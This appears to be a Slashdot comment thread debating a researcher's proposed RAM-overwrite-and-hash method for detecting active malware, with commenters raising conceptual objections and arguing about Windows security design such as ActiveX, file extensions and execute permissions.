Vmware and other hypervisors do this sort of thing all the time. It is not possible via software alone to detect whether a program is running on bare hardware, or on a perfect emulation of real hardware. For that matter, it isn't possible for you or I to know if we are real biological beings or if we're some simulation in some gigantic computer somewhere. Indeed, even our perception of the nature of space and time could be nothing more than the result of a bunch of 14-dimensional beings saying "gee, what would life be like if there were only three dimensions of space - what if we go ahead and create a 3D world and stick a bunch of AIs in it?"

Of course, the malware author does have to be fairly clever. Such a piece of malware would also be susceptible to hardware-level detection.

Re:Which one is the detector?

[delirium28]

For that matter, it isn't possible for you or I to know if we are real biological beings or if we're some simulation in some gigantic computer somewhere. Indeed, even our perception of the nature of space and time could be nothing more than the result of a bunch of 14-dimensional beings saying "gee, what would life be like if there were only three dimensions of space - what if we go ahead and create a 3D world and stick a bunch of AIs in it?"

Seems like you've been reading Descartes or watching eXistenZ or The Thirteenth Floor.

Re:Which one is the detector?

[evanbd]

That's why the author proposes the use of an external hardware verifier, whose purpose mostly seems to be verifying that it was fast enough that the malware didn't have time to write to secondary storage.

Re:Which one is the detector?

[Late Adopter]

You forgot one of the more esoteric ones.

Re:Which one is the detector?

[nowen2dot]

It seems to me the authors are trying to accomplish 2 main goals:

1) Creating a clean state where it can be known that either there is only the kernel/detector loaded in memory, or if there is also malware present that was not swapped out from memory.

2) Off-loading state information to another machine to analyse the other contents of memory. They seem to be primarily interested in mobile computing, where traditional virus scanners require too much resource.

If the first goal is achieved, then the mobile device could use that state to execute sensitive processing. This would be similar to a sandbox where one could perform banking with more confidence of security. Afterwards, memory could be restored (malware and all) and one could go on watching youtube. :)

Since the authors envision the detector as an integrated part of the kernel, it could be used as proof to the verifying party that it is in a safe state. (Proof being their claim---I haven't read carefully enough to convince myself either way.)

It could also load/check known programs based on hashes which would seem to be a useful thing. Basically, just being able to achieve a known good state is a good thing. Especially for mobile devices where there is no booting from network or CD.

Re:Which one is the detector?

[Mantis8]

Hard to see the dark side is...

Re:Which one is the detector?

[Rich0]

Why go to all that trouble then? Why not just have a device sit on the bus looking for suspicious stuff in RAM. Every once in a while it can halt the clock line to the CPU while it does a memory scan.

"Guarantee"

[Reason58]

You can't guarantee anything in security. Especially when a human is involved.

Re:"Guarantee"

[dmgxmichael]

Reminds me of Murphy's 7th law - "Should you ever idiot proof anything God will make a better idiot."

Re:"Guarantee"

[Hatta]

I guarantee there's at least one thing that can be guaranteed.

Re:"Guarantee"

[Reason58]

I guarantee there's at least one thing that can be guaranteed.

You would be wrong about that.

Re:"Guarantee"

[dmgxmichael]

I guarantee you're going to die someday.

-- Not a death threat.

Re:"Guarantee"

[Anonymous Coward]

Never argue with an idiot.

They'll drag you down to their level, and then win on shear experience...

Re:"Guarantee"

[Hatta]

Can you guarantee that?

Re:"Guarantee"

[Anonymous Coward]

shear experience? That would be a shepherd, not an idiot.

Re:"Guarantee"

[Anonymous Coward]

Not to sound like one myself, but since being an idiot shouldn't be anything 'better', then:
"Should you ever idiot proof anything God will make an idioter idiot."

Re:"Guarantee"

[Hurricane78]

Well, that law is only true in an idiot-fostering society like ours. Where successful people get punished, because only failures get rewarded with what is called “being social”, but actually is not social at all. (Rather anti-social and unfair.)

Okay

[somersault]

And what if the malware lets itself be swapped out of RAM the same as all of the other apps?

I'd love to have an approach to malware that could always detect unwanted processes, I'm just trying to find holes here.

Underestimating your enemy

[Mordocai]

Even if this did work in theory, someone would think of a way around it. We'll never be completely safe from malware, no matter what security mechanisms are in place. It's like in physical security, security system companies come up with new locks, and thieves come up with new lock breakers. Unless we brainwash the entire population of the world to be nice and not try to break systems, there will never be a conclusive way to detect malware. Oh, and wouldn't his method for detecting malware be horribly intrusive?

Re:Underestimating your enemy

[Anonymous Coward]

I can already see a number of attacks on this: Something wanting timing? Return to it a value from the clock that subtracts the swapping to memory or disk. Or just cut off execution of the program altogether, put up a screen that looks exactly like the scan was successful, and then not worry.

I know of only one solid way to remove malware from a system, and that is to boot from a CD or USB flash drive, and this is assuming the BIOS, keyboard drivers, or anything else flashable isn't compromised.

Does it have to be in RAM?

[characterZer0]

It could be in ROM.

It could be in processor cache.

It could be in the video card's memory.

Could it be in pipelined instructions waiting to be executed?

Re:Does it have to be in RAM?

[magsol]

I would guess, though, that in order to do something we would typically characterize as "malacious" it would have to eventually wind up in RAM (except in the case of ROM...that would really fubar the system).

Processor cache would eventually result in execution, which takes place in RAM. Video card memory would just do funky things to the display. A pipelined instruction would also eventually end up in RAM once it was executed.

Perhaps the key here is "actively executing" malware. I suppose it can lay dormant just about anywhere that can possibly store writeable information for an extended period of time, but in order to wreak havoc it'd have to eventually wind up in RAM.

Re:Does it have to be in RAM?

[squizzar]

How did it get into ROM? A prom will require programming somehow, and if it's being programmed in a way that's not expected then that programming is done by malware so the PROM is irrelevant if the malware is detected

If it's in the processor cache it came from RAM. There's no other path for it to get in there. It's also not likely to be able to stay there for any length of time.

If it's in the video card memory then it had to be put there, so again you have some malware that writes program data to the video card memory. Also I'd be surprised if there is any standard method for running program code from video card memory (it's likely possible, but very unusual), so again there would have to be some RAM resident code to organise this behaviour.

For the first three at least, I don't think any of the scenarios are possible without some code in RAM to facilitate them, and that code would be detectable.

For the final case, well, if you can write a piece of malware that is clever enough to perform its purpose and somehow maintain itself within the processor pipelines (which are something like 4 execution units by a few tens of stages at most? And they vary a lot between processors) then you're some kind of code magician because I can't imagine how you would achieve such a thing. Oh, how did it get into the processor pipeline? Through the cache?

Re:Does it have to be in RAM?

[characterZer0]

Sure, it was in RAM at some point. Are you going to run this RAM virus checker after every RAM write?

False positives?

[Andy Dodd]

Yeah you can detect that SOMETHING is there, but how do you determine whether that something is supposed to be there or not?

If you assume all "somethings" are not supposed to be there, you'll have a worse situation than UAC with users being prompted all the time and getting conditioned to click "yes".

After reading the article, it seems no different from doing an offline scan using ClamAV from a LiveCD except maybe slightly more convenient. You boot a "secure" detection mechanism in place of whatever is normally operating on the machine.

The hooks needed to do it as described (which implies a hypervisor-esque antivirus/antimalware solution) would provide malware authors new vectors with which to attack systems, potentially vectors that would allow malware to escape from the likes of an "antivirus on LiveCD" solution.

Since I actually read the article

[Rogerborg]

I note that he seems to have missed a rather obvious possibility: there's malware in RAM, but it allows itself to be swapped out with all the other processes. Why wouldn't it? If it got loaded into RAM once, it'll get loaded again by the same vector. In fact, it has to rely on that happening, since at some point the RAM is going to be physically powered down. There's no point in trying to dig in like a tick.

So as far as I can see, his magic technique will only catch malware that attempts to protect itself. I'm not clear on why he thinks this will catch all malware, but I'm sure he'll explain further if I pay him some $$$.

Re:Since I actually read the article

[Charan]

Well, to quote their tech report:

The malware detection algorithm involves the following steps on the client machine:... (5) Policy: Execute the verification policy. This could involve reporting the memory contents of the client device to the verifying party, or the execution of any task that should preferably be run in a safe environment. This may be done using whitelisting or blacklisting approaches, and may involve the use of heuristics to scan the swap space and secondary storage in general. The implementation of the policy is beyond the scope of this paper, as we only deal with how to assert the absence of active malware herein. [orig. in italics]

So you're right, their technique really only catches against one thing: a malicious (or infected) operating system that guards its dirty bits from an OS-level verifier by playing tricks with the verifier's address space. You still need another checker to catch all the conventional viruses out there that don't play this particular game.

Re:Since I actually read the article

[phoenix321]

If it is really possible to fill all physically available memory cells with the detection hash and not have the rootkit just short-change to kernel and hide in the unreported installed memory, you will surely get one of two results:
- a clear proof that some contents of RAM are pointered in and out, not read and computed directly. ("there is something, don't trust the machine at all")
- a clear proof that no contents or RAM are pointered anywhere, meaning nothing can prohibit scanning the entire RAM image on file and the secondary storage ("nothing active, the machine can be trusted to compute correct results, traditional virus definition scans could produce evidence of a dormant infection")

Of course, the method of choice for 0-day malware will then be
- hooking onto a legitimate program
- allow to be swapped out nicely and play dead when the RAM scanner comes,
- hope to be missed by signature scanner, heuristic scanner and comparison against known-good md5's
- be swapped back in with the legitimate program and carry on its evil deeds.

Programs that prohibt being swapped out are malware by definition. Or a Sony DRM component, but that's also malware. Programs that allow that swapping out can also be malware, but they're giving control back to the kernel and could theoretically be detected during the scan.

Even the most clever malware now has to relinquish absolute control to the scanner, lower the shields and play dead for a while - be vulnerable for a moment. This could be a nice addition to intrusion detection systems.

So what I'm getting...

[O('_')O_Bush]

is that he's saying, in a round-about way, that if we know what everything on the computer is that isn't Malware, then if it's not what we know, then it must be Malware.

That and some test for checking behavior.

The problem which he doesn't seem to resolve is, "How do we know everything that isn't malware?". I mean, I see that he goes on about running this using only in kernel mode, so there should only be kernel memory in RAM, but what if the malware exists hooked in (as many seem to be that I've found) in other programs or window'ing components that don't start up in kernel mode?

Maybe I'm missing something, but it seems that he can only "guarantee" detection of malware when it's already really obvious.

Ludicrous (no, not the rapper).

[clone53421]

Assume now that we have a detection algorithm that runs in kernel mode, and that swaps out everything in RAM. Everything except itself. Well, malware may interfere, of course, as it often does, and remain in RAM. But if we know how big RAM is, we know how much space should be free. Assume we write pseudo-random bits over all this supposedly free space. Again, a malware agent could refuse to be overwritten. It could store those random bits somewhere else instead... like in secondary storage.

Then, let us compute a keyed hash of the entire memory contents -- both our detection program and all the random bits. Here is what could happen: If there is no malware in RAM, the results will be the expected result. An external verifier checks this, and tells us that the scanned device is clean. Or there could be malware in RAM, and the checksum will be wrong.

Ah ha! All you need is a kernel-mode algorithm that knows exactly what should be in RAM, at all times! In other words, it has to emulate all of the legitimate software you’ll use, because otherwise how would it tell the difference between legitimate software’s use of RAM and malicious software’s use of RAM?

What an idiot.

won't work

[SkunkPussy]

either
* the malware is in the kernel, in which case it can provide a false checksum of the memory to the external verifier
or
* the malware is in userspace in which case it gets swapped out, the verifier determines there is no malware in the system, then it gets swapped back in and carries on performing its malicious activities with its user privileges

Swapping out all RAM?

[grub]

Swapping out all RAM then overwriting and hashing?

Sounds crazy? Yes? It's coming to you in OpenBSD 4.7! or not

Ok, so you have verified there's no malware in RAM

[characterZer0]

If the malware is /sbin/halt, you've still got a problem.

Common mistake...

[Rah'Dick]

Everyone who claims to solve a long-standing problem "guaranteed", does not know all the possibilities that could thwart their solution. Guaranteed.

Easy

[camperdave]

If $OS=="Windows" Then print "Malware Detected";

Re:Easy

[lwsimon]

You wrote your malware detector in PHP?

Re:Easy

[camperdave]

That's PHP? I was just writing pseudocode.

Re:Easy

[lwsimon]

I think it's missing some parenthesis (it's been 5+ years since I wrote PHP), but yeah, pretty much.

And I knew it was pseudocode, I was just being a nerd.

What I don't get.

[LWATCDR]

Is why didn't Microsoft make the OS files read only way back when?
Make the user give explicit permission to over right system files?
It wouldn't make it impossible to get malware but it sure a shooting could make getting ride of it easier.

Re:What I don't get.

[characterZer0]

Time to market.

Re:What I don't get.

[bennomatic]

This is actually an excellent point. If MS is going to charge $600 for an OS upgrade, why can't they burn it to a ROM chip that you could stick into a socket? Then the only RW stuff at the system level would be configurations. That could still leave some significant holes open, but at least--for example--you could potentially ensure that only system programs launch at start-up.

Application-level infections could still be a problem, but this might be one way to make the OS more secure.

Re:What I don't get.

[LWATCDR]

You don't have to make it be a ROM. Just use the filesystem to control access to things like system files and what gets run on startup.
If you could just protect those you would make removing malware a lot easier.
Of course nothing will totaly prevent a user from trashing themselves.
Maybe Microsoft could require anything that overwrites a system file to be signed.
Might give Microsoft too much control over your PC but their has to be a way to secure OS files from being overwritten by a stinking app!

Hmm

[Anonymous Coward]

I would love to meet the genius who discovered that any program that wants to be active in RAM uses some RAM...even if it is only 1 byte.

Re:Hmm

[clone53421]

Yes; In fact, I’m going to walk out on shaky ice and claim that every program that wants to be active in RAM uses more than one byte!

Re:Hmm

[pla]

Yes; In fact, I'm going to walk out on shaky ice and claim that every program [...snip...] uses more than one byte!

FTFY. Every program uses at least one full page of memory. Modern CPUs and OS-level memory management don't allow anything less.

So, thus far, some people have seen this as a "who watches the watcher" problem, some describe it as a white/blacklisting problem (though as far as I can see, he only appears to refer to blacklisting, not sure where people got the whitelisting idea from), some discuss the possibility of malware injecting itself into something else's address space, and still others complain that the malware could just let itself get swapped out like any other program.

For the sake of argument, lets assume that his explicitly listed premises all hold true, and that he has an infallable, uncrackable watcher.

His suggested means of detection still has one glaring problem that directly contradicts his conclusion:
"Two: not be active in RAM, but store itself in secondary storage. It cannot interfere with the detection algorithm then, quite obviously".
and...
"We can guarantee detection of malware. And that includes zero-day attacks and rootkits."

Now the problem (which others have mentioned, but none have taken the leap to why this breaks his method) - If this hypothetical malware does try to hide itself, his approach will detect it. If it doesn't try to hide, his approach reverts back to offline scanning of secondary storage - Which has a flaw which he explains right in his introduction:

"Anti-virus products scan for malware in two ways. They look for sequences of bits that are found in programs that are known to be bad (but which are not commonly found in good programs). And they run programs in sandboxes and look for known malicious actions. The first approach only catches known malware instances, while the second can also catch variants of these."

Thus, no zero-day detection for anything that doesn't try to hide.

Re:Hmm

[clone53421]

Yes; In fact, I'm going to walk out on shaky ice and claim that every program [...snip...] uses more than one byte!

Assuming we’re both talking about RAM, a program on the disk doesn’t use any memory... unless it wants to be active in RAM. For that matter, the code I doodle on the back of an envelope doesn’t need any bytes of memory unless I want it to be active in RAM.

If it doesn't try to hide, his approach reverts back to offline scanning of secondary storage - Which has a flaw which he explains right in his introduction:

Ah yes... what delicious irony. His solution has the same flaws that he was trying to avoid.

Not to mention the malware could infect the scanning algorithm itself... or corrupt its memory, overwriting the checksums so it appears that everything’s okay... or give erroneous timings, detecting the scan and then fiddling with the clock to hide the amount of time it took to access secondary storage, or slowing down the other memory accesses so that the delay of accessing secondary memory isn’t noticeable... or tell the scanner that there was less system RAM than there actually was, so that it could hide in the extra RAM until the scan was finished...

If you have a rootkit, nothing is certain.

Malware detection is Bogus.

[bmo]

How about we change things in Windows so it actually prevents infection in the first place?

1. Educate users. Microsoft does a piss-poor job of this.
2. STOP DEPENDING ON 3 MAGIC LETTERS TO DETERMINE IF SOMETHING IS CODE OR DATA. COME ON, SERIOUSLY. THIS SHOULD HAVE DIED WITH CP/M.
3. Kill ActiveX - I know of no legitimate website besides Microsoft.com that requires ActiveX.
4. If a file comes in from the outside world - STRIP ITS PERMISSION TO EXECUTE. MAKE THE USER UNPACK IT FROM AN ARCHIVE OR SET ITS PERMISSION.

Really. Seriously.

No, the above won't cover every situation, but it's a pretty good start.

--
BMO

Re:Malware detection is Bogus.

[bill_mcgonigle]

No, the above won't cover every situation, but it's a pretty good start.

You say those as if Microsoft isn't aware of the problems with their design decisions. They by-and-large don't bear the costs of their poor security but would bear additional costs if people had to learn new ways of interacting with files (support costs, engineering, etc.).

So far they're right - their market position hasn't been adversely affected by the malware crapfest they've foisted onto their users. A cookie for he who figures out how to internalize what are currently their externalities.

Re:Malware detection is Bogus.

[Anonymous Coward]

wow. combine the linux 'x' (execute) and the netware 'm' (modify) rights. files default to 'not x' and must be given 'x' to run. you can grant 'x' that if you have 'm' and users have not a lot of reason to have 'm' (modify). and the admin can grant 'm' without giving out root/admin rights.

i have wondered why this was not pursued a while ago.

e

Re:Malware detection is Bogus.

[Anonymous Coward]

5. When you invented autorun, what the hell were your engineers smoking to make that seem like a good idea?
6. Icons in executables plus hidden extentions... whoever did that, I hope they were fired.
7.The user should not be running everything with administrative access. Not even on a standalone box. Not even a home user. No. Just... no.
7a. And no, you can't work around it by having a 'click this to be an admin' box that pops up so often people stop noticing it!

Re:Malware detection is Bogus.

[DrXym]

3. Kill ActiveX - I know of no legitimate website besides Microsoft.com that requires ActiveX.

ActiveX is how your browser runs Flash, Silverlight, Acrobat, Java etc. through IE. So yes it has uses. And in those cases its not more or less dangerous than the equivalent NPAPI plugin. Both allow binary code to be executed (and scripted) with content supplied from an external site. The danger is that if you don't keep your plugins or controls up to date you might be vulnerable to attack.

Re:Malware detection is Bogus.

[iPhr0stByt3]

Insightful. Indeed MS doesn't really need to care to continue to make profit. But back to the parent:

Educating users is not a simple task and they do put efforts into this.
You're right. I'm not a fan of extensions determining how something should behave either. However, this is RARELY used by malware to infect PCs.
ActiveX has a lot of value and is used in many good applications. Firefox plug-ins (or whatever format it has now switched to) has the same vulnerabilities and yes, it IS being exploited on a daily basis... at least Firefox has a faster patch-deployment. ActiveX is really a problem with the user-training again.
Windows already does that via the alternate data stream. It's that message that informs users that this executable may not be trustworthy. Again, user training issue.

It's a bummer that MS has little motivation to bump this up.

Re:Malware detection is Bogus.

[ghostis]

Also, as an admin, help your clients change their business processes to minimize the number of workstations where regular users are local administrators. Yes, some software packages need local admin to work, but most do not. While doing this will not be a panacea, it does seem to cut infection rates down.

Re:Malware detection is Bogus.

[Anonymous Coward]

It was not pursued because MS wants to mix code and data in their file formats, because it makes it easier to code things in a backwards-compatible way, and faster to execute. Translation: they're lazy, bad coders who want every market advantage possible and will throw any concept of security out the door to get it.

Re:Malware detection is Bogus.

[Anonymous Coward]

3. Kill ActiveX - I know of no legitimate website besides Microsoft.com that requires ActiveX.

www.rooms.hp.com
oracle web conferencing

Re:Malware detection is Bogus.

[m50d]

2. STOP DEPENDING ON 3 MAGIC LETTERS TO DETERMINE IF SOMETHING IS CODE OR DATA. COME ON, SERIOUSLY. THIS SHOULD HAVE DIED WITH CP/M.

Doesn't make any difference. Bottom line, people need to be able to edit code as data, and switch which of the two it is; whichever way you do that it's usable.

3. Kill ActiveX - I know of no legitimate website besides Microsoft.com that requires ActiveX.

Makes no difference given that people continue to want to let websites run code on their machines. Flash or firefox plugins or whatever are no more secure than ActiveX.

4. If a file comes in from the outside world - STRIP ITS PERMISSION TO EXECUTE. MAKE THE USER UNPACK IT FROM AN ARCHIVE OR SET ITS PERMISSION.

This would make no difference at all. So it takes one more click to execute something. That's not going to stop anyone. It's just going to piss me off more when I actually want to execute some code.

Re:Malware detection is Bogus.

[Anonymous Coward]

Thou hast just received the Amish Virus.

As we haveth no technology nor programming experience, this virus worketh on the honour system. Please delete all the files from thy hard drive and manually forward this virus to all on thy mailing list.

We thank thee for thy cooperation.

Re:Malware detection is Bogus.

[Anonymous Coward]

Modern windows does #4, to the extent that it can. It asks if you *really* want to run something from the internet.

And you know what? The answer is yes. Always. I downloaded it, so I want to run it.

Even Microsoft cannot prevent people from using gets, sprintf, sscanf, etc.
They could, but then they wouldn't be shipping a C compiler. Furthermore, you could just
use GCC and 'solve' the problem.

Re:Malware detection is Bogus.

[nuckfuts]

How about we change things in Windows so it actually prevents infection in the first place?

1. Educate users. Microsoft does a piss-poor job of this.

Aside from the obvious infeasibility of this, how would this be changing Windows?

2. STOP DEPENDING ON 3 MAGIC LETTERS TO DETERMINE IF SOMETHING IS CODE OR DATA. COME ON, SERIOUSLY. THIS SHOULD HAVE DIED WITH CP/M.

Ever heard of DEP?

3. Kill ActiveX - I know of no legitimate website besides Microsoft.com that requires ActiveX.

It may be a risk, and there may be alternative ways to do things, but let's not pretend there's only one domain in existence that needs it. As a single example, I recently had to login to a customer's server remotely. The only method of remote access available was through logmein.com. I had to use ActiveX.

4. If a file comes in from the outside world - STRIP ITS PERMISSION TO EXECUTE. MAKE THE USER UNPACK IT FROM AN ARCHIVE OR SET ITS PERMISSION.

Internet Explorer already has security zones that apply restrictions based on where content is coming from. Users are prompted whether to run executables. The problem is that naive users routinely agree when prompted to do dangerous things. This is not an OS-specific problem.

Re:Malware detection is Bogus.

[Anonymous Coward]

1. Educate users. Microsoft does a piss-poor job of this.

How?
Everybody panned Microsoft for UAC, what alternatives are there?

2. STOP DEPENDING ON 3 MAGIC LETTERS TO DETERMINE IF SOMETHING IS CODE OR DATA. COME ON, SERIOUSLY. THIS SHOULD HAVE DIED WITH CP/M.

You mean the "magic bits" at the beginning of the file? Is there a better solution?
Every other platform does the same thing (or a variant of it)

3. Kill ActiveX - I know of no legitimate website besides Microsoft.com that requires ActiveX.

Flash, Java, Acrobat, Google Toolbar, Silverlight.

4. If a file comes in from the outside world - STRIP ITS PERMISSION TO EXECUTE. MAKE THE USER UNPACK IT FROM AN ARCHIVE OR SET ITS PERMISSION.

Windows does this already. (pretty sure it was introduced in Vista, I think it works with Vista/Firefox too)
Downloaded EXE files get a "from internet" attribute set on them.
This makes windows verify the digital signature of the file and prompt the user with an "this file is from Teh dangerous interwebs!!! do you want to run it?" along with the signer information.

Re:Malware detection is Bogus.

[Anonymous Coward]

To point 1. Couldnt agree more. But how many people are 'I know better'? Esp around here...

To point 2. An extension is just as good as any other method you can think of.

Put it in the file. You are still depending on the file begin 'correct'.
Put it in some other stream. You are still depending on the 'other stream' to be 'correct'.

What you really want is some way of saying 'this is an executable'. But if you do that, anything else can be turned into an executable but just saying 'yes this really is an executable'. I could do that with a txt file...

A file rename is no worse an attack vector than chmod. If you give me a way to change the state in some way I will just call that instead of rename...

You are not fixing the problem. Just moving it somewhere else.

To point 3. ActiveX had its day. Its day has gone. Yes it should 'die'. But they were doing something that Firefox does (and quite well at that). They were giving the ability to extend the browser. They did a piss poor job of it no doubt. Before ActiveX the browser extension market was amazingly bad. But your right it is time for it to 'go'.

To point 4. See point 3. Really? I have already managed to root your computer enough to make your computer download something without you seeing it. Do you really think it is that big of a stretch to call chmod? All you did was annoy the virus writer a bit.

Security on a computer usually is as simple as your point 1. Do not download stupid junk and run it. But all you have come up with is the whitelist. Which in and of itself is 'ok'. But not an end all be all.

Re:Malware detection is Bogus.

[Anonymous Coward]

3. Kill ActiveX - I know of no legitimate website besides Microsoft.com that requires ActiveX.

Go to south korea, all there is based on ActiveX, so any user must use IE and thus be a Windows user.

4. If a file comes in from the outside world - STRIP ITS PERMISSION TO EXECUTE. MAKE THE USER UNPACK IT FROM AN ARCHIVE OR SET ITS PERMISSION.

Currently windows shows warning when you try to execute things downloaded from internet.

Re:Malware detection is Bogus.

[ardeez]

I like this idea. Just this one extra step would put the onus of action on the users enough that they
would not only pause to think, but actively associate any malware infection with their direct actions (possibly).

Rename downloaded EXE's to .web and put up a dialog with an accept button that say 'I know the Risks' when
they try to rename it/make it executable.

Could make a difference ...

Re:Malware detection is Bogus.

[Anonymous Coward]

1) Users have to care first. Users will never care. They want their computer to be like their phone. Pick it up, use it, be done with it. It doesn't matter if they can't treat it like that. They will.
2) Microsoft will not stand for it. Losing battle.
3) See number 2.
4) See number 1. They're entirely too lazy to figure that out.

I agree that your ideas would be nice, but between Microsoft being lazy and users being lazy, you will never get any of these things. So for now, we're stuck with the shittastic arrangement of always treating the symptoms. Welcome to IT.

Re:Malware detection is Bogus.

[Anonymous Coward]

"4. If a file comes in from the outside world - STRIP ITS PERMISSION TO EXECUTE. MAKE THE USER UNPACK IT FROM AN ARCHIVE OR SET ITS PERMISSION."

Yea cause the average user really wants to do this. The fact that you suggest this makes me think you are a Linux-on-the-desktop type, aka don't get it.

Re:Malware detection is Bogus.

[Stick32]

How about we change things in Windows so it actually prevents infection in the first place?

1. Educate users. Microsoft does a piss-poor job of this...

OK, if you can do the first step to a satisfactory degree with 90% of all windows users without blowing your or some idiots brains out. I'll see to the other 3 steps personally.

Re:Malware detection is Bogus.

[Anonymous Coward]

I read that first point as Execute users.

Still, it'd work.

Re:Malware detection is Bogus.

[bmo]

ActiveX is how your browser runs Flash, Silverlight, Acrobat, Java etc

No, it isn't.

I don't use IE. There is no reason, outside of Microsoft.com for ActiveX to exist.

Re:Malware detection is Bogus.

[Anonymous Coward]

#2 isn't quite as easy as it sounds. A Perl script is both data and code. It's data if you open it in a text editor, and it's code if you open it in a Perl interpreter. If the file isn't marked executable, it should still open in a text editor, right? And since the OS can't tell the difference between a text editor and an interpreter, it's really the interpreter's job to check the ACLs and halt execution, right? And because perl cantexecute.pl works on Linux, does that mean your advice applies to Linux as well, or maybe that there's some more complexity behind this issue?

The problem with Windows is that executable-ness is enabled by default (covered in #4), combined with the fact that executable-ness is hidden by default. If your average user could even see those magic 3 letters, that would rid the world of quite a lot of trouble.jpg.exe

Re:Malware detection is Bogus.

[bmo]

Internet Explorer already has security zones that apply restrictions based on where content is coming from. Users are prompted whether to run executables.

That's not the same thing *at all* as stripping execute permission.

And you only mention IE. IE is merely one way for a system to import a file. You can download through scp, ftp, gopher, irc, IM, etc. Files brought in from the network need to be stripped of execute permission if you want *any* hope of stopping the automated propagation of badware.

"DEP"

Does not address the issue of separating the type of file from the name of the file at all. If I have a text file and rename it as a .bat, suddenly I have an executable file *with* the permission to execute. It's 2010 and no computer is an island. It's about time we stop doing this in Windows.

I recently had to login to a customer's server remotely. The only method of remote access available was through logmein.com. I had to use ActiveX.

There is no reason to absolutely require ActiveX for such a task. Indeed, I put it to you that the same thing can be done in Java.

Lastly: educating users is infeasible? Really? Not even with a quickstart guide to security? Even automobile manufacturers give out an owner's manual for safe operation. I call bullshit on your assertion.

--
BMO

Re:Malware detection is Bogus.

[Cro Magnon]

ActiveX is how your browser runs Flash, Silverlight, Acrobat, Java etc

Really? Since when did Firefox start running ActiveX?

Re:Malware detection is Bogus.

[bmo]

Go to south korea, all there is based on ActiveX, so any user must use IE and thus be a Windows user.

So?

It doesn't mean it was a good idea to begin with. The only reason why this happened was an accident of history.

Currently windows shows warning when you try to execute things downloaded from internet.

Through any and all methods? Including mail, ftp, irc, IM, etc?

--
BMO

Re:Malware detection is Bogus.

[nuckfuts]

Internet Explorer already has security zones that apply restrictions based on where content is coming from. Users are prompted whether to run executables.

That's not the same thing *at all* as stripping execute permission.

And you only mention IE. IE is merely one way for a system to import a file. You can download through scp, ftp, gopher, irc, IM, etc. Files brought in from the network need to be stripped of execute permission if you want *any* hope of stopping the automated propagation of badware.

You're missing the point. Imposing an extra step to make something executable won't solve the problem, because the user will be prompted to take that step and will naively agree to do it.

Plus, in terms of malware, you need to broaden your concept of "executable". Lots of things happen within the context of displaying a web page that are potentially risky. If you prevent every risky action from executing you would break things to a degree that most users would not accept. You can't view today's web without taking some risk.

Re:Malware detection is Bogus.

[bmo]

So it takes one more click to execute something.

The lack of which has led us to see the automatic propagation of badware without user input run rampant in the Windows "ecosystem."

There needs to be a way to stop automatic propagation, and requiring the user to set something as executable, even if it only requires a single click in a dialog box like in KDE, would go a long way to doing this.

comparing ActiveX to Firefox plugins and calling them roughly the same thing

They are not. ActiveX controls are typically dynamic and are one-offs per website. Users are more casual about these than FF plugins. They shouldn't but that's how Microsoft has conditioned them to think about it. Users think longer about whether they need a FF plugin or not, because it's "permanent" and affects the behavior of the whole browser. With regards to flash, I don't like it either, but flash doesn't have as much permission over the system as ActiveX does, which even has access to the system files. There is no way to give flash the permission to write into the system directories.

--
BMO

Re:Malware detection is Bogus.

[bmo]

Lots of things happen within the context of displaying a web page that are potentially risky.

Which is why ActiveX needs to be nuked. Why such a thing is tied to a *web browser* is beyond me, especially because in certain situations it has permission to write to the system directories. Why? It boggles my mind.

If you prevent every risky action from executing

Is it really too much to ask that stuff be sandboxed? Even minimally? Microsoft sacrifices (it seems) even the smallest amount of security in the name of convenience. And on, UAC doesn't count because it wasn't developed for end users - it was made to browbeat developers into not doing stupid things.

If you practice unsafe sex every day because you can't be arsed to use a condom and pick good partners, it's only a matter of time you contract something bad.

I know, it's not a car analogy. Whatever.

--
BMO

Re:Malware detection is Bogus.

[bmo]

The "And on," doesn't need to be there. it was part of a sentence I deleted.

--
BMO

Re:Malware detection is Bogus.

[bmo]

I know I'm replying to a troll AC, but I feel I should put this here for completeness.

I am a "Unix On The Desktop" kinda guy, whether it be OSX, Solaris, or Linux (even though Linux really isn't Unix and you'd know this if you've ever used a real Unix).

There are a lot of things structurally wrong with Windows that are only now being addressed, and surprise, the solutions tend to be Unix concepts, reinvented poorly.

Have a nice day.

--
BMO

Re:Malware detection is Bogus.

[Anonymous Coward]

I know of no legitimate website besides Microsoft.com that requires ActiveX.

I know, there's management.local/infoserve and millions alike. They "just work" and they contain tens of millions of records of business-critical data. Users of this data can't upgrade beyond IE6 though...

Re:Malware detection is Bogus.

[Anonymous Coward]

I'm not even sure how much ActiveX Microsoft relies on for its own website anymore - I use Firefox to view their site all the time, haven't had a problem in at least a few years.

On the other hand, there are a few gazillion consultingware apps using lots of ActiveX. These apps generally live inside single companies, but I assure you they'd describe ActiveX as a necessity.

Re:Malware detection is Bogus.

[Hurricane78]

3. Kill ActiveX - I know of no legitimate website that requires ActiveX.

There, fixed that for you. ^^

Re:Malware detection is Bogus.

[DrXym]

ActiveX is how your browser runs Flash, Silverlight, Acrobat, Java etc. through IE.

Wow, that's a hard sentence to understand.

Re:Malware detection is Bogus.

[DrXym]

If you don't run IE why do you even care about ActiveX then? Your gripe should be with the NPAPI which provides virtually an identical attack surface for sites that want to exploit Flash, Acrobat etc.

ActiveX as implemented in older versions of Internet Explorer was very dangerous but in its current form, it is relatively benign and certainly no worse than other plugin mechanisms. IE by default will not offer to install arbitrary objects or allow them to be scripted.

Furthermore ActiveX when used outside of Internet Explorer is just a set of APIs to implement and instantiate some object residing in a DLL or EXE using COM/DCOM. It's no more or less dangerous than the equivalent functionality to be found in other desktops, e.g. DBus, Bonobo, Kparts etc.

Also did you know that much of Mozilla is implemented as XPCOM objects which have a virtually identical lifecycle to an ActiveX component - nsISupports is analogous to IUnknown, components reside in DLLs or .js files. etc. Did you know that any add-on for Mozilla runs with chrome privileges and has the the power to instantiate any of these components and script them? There are some components in Mozilla with incredible exploit potential, components which could upload your password file to some server for example.

If don't even use IE, I suggest you worry about what your browser *does* implement rather than ActiveX.

Re:Malware detection is Bogus.

[bmo]

This is late, but you replied to me late, so here goes:

If you don't run IE why do you even care about ActiveX then?

Because it affects people who come up to me and say "My computer is slow please fix it"

--
BMO

Re:Malware detection is Bogus.

[Anonymous Coward]

Then ActiveX is how the browsers of those people run Flash, Silverlight, Acrobat, Java, etc. So yes it has uses. Stop being disingenuous.

register

[bugs2squash]

Some processors may have big enough register sets that malware could reside entirely within the CPU.

Re:register

[Hurricane78]

Don’t forget the megabyte-sized cache. The most important optimization nowadays, is to make your program parts fit into cache as a whole, since RAM access is extremely slow in comparison. So all you gotta do, is do the same with your malware, but keep it in there when deleted from RAM.

Re:register

[Slashcrap]

